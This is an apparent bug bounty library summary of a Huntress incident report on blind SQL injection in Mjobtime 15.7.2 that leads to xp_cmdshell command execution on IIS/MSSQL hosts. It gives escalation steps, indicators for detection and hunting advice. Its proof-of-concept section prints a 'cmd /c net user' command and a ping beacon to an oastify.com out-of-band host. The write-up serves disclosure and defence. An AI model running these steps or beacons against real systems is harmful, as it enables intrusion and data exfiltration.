# How Hacked Construction Apps Are Bringing Down Jobsite Security

Blind SQL injection in Mjobtime 15.7.2's update_profile_Server endpoint let attackers enable xp_cmdshell and run OS commands on IIS/MSSQL hosts.

- Payout: Real-world hack
- Severity: critical
- Program: Mjobtime
- Analysis by: Huntress
- Disclosed: 2026-01-21
- CVE: CVE-2025-51683
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/hacked-construction-apps-bringing-down-jobsite-security
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-hacked-construction-apps-bringing-down-jobsite-security
- Tags: area:web domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:dotnet tech:windows technique:blind technique:oob-exfil vuln:rce vuln:sqli

**Target:** IIS-hosted ASP.NET web app with MSSQL backend (Default.aspx endpoint)
**Root cause:** The update_profile_Server endpoint passes user input into SQL unsafely, yielding blind SQL injection; the app's MSSQL service account can enable xp_cmdshell, turning SQLi into OS command execution.
**Steps:**
1. Send `POST /Default.aspx/update_profile_Server` with a blind SQLi payload in a profile field
2. Use boolean/time-based inference to confirm injection and enumerate the DB
3. Enable xp_cmdshell on the MSSQL instance (logged as `MSSQL$MJOBTIME/15457;xp_cmdshell,0,1`)
4. Execute OS commands via xp_cmdshell, e.g. `cmd /c net user`
5. Exfiltrate via `ping ei0lwafp0h7178z7qer9r9oualgc45su.oastify.com` or wget/curl to the same OAST host
**How found:** Dario Wiess of InfoGuard Labs identified and documented the blind SQLi in Mjobtime 15.7.2; Huntress observed incidents with IIS logs showing repeated POSTs to update_profile_Server, with a log entry just prior to xp_cmdshell enablement.
**Exploitation:** Attacker hits the vulnerable POST endpoint repeatedly with blind SQLi, enables xp_cmdshell, then runs cmd.exe commands under the MSSQL service account to enumerate users and beacon out via ping/wget/curl to an OAST collaborator domain.
**Escalation:** SQLi escalated to OS command execution by enabling xp_cmdshell, running as the MSSQL service account (often SYSTEM).
**Insight:** Web apps bundling their own MSSQL instance expose a hidden attack surface: check whether the DB service account can enable xp_cmdshell, since any SQLi then becomes RCE. Hunt for repeated POSTs to profile-update endpoints followed by xp_cmdshell event log entries.

## Proof of concept (copied exactly from the original report)

**POST request to vulnerable update_profile endpoint**

```
POST /Default.aspx/update_profile_Server
```

**xp_cmdshell enable event log entry**

```
MSSQL$MJOBTIME/15457;xp_cmdshell,0,1
```

**Commands run via xp_cmdshell after exploitation**

```
cmd /c net user

ping  ei0lwafp0h7178z7qer9r9oualgc45su.oastify.com
```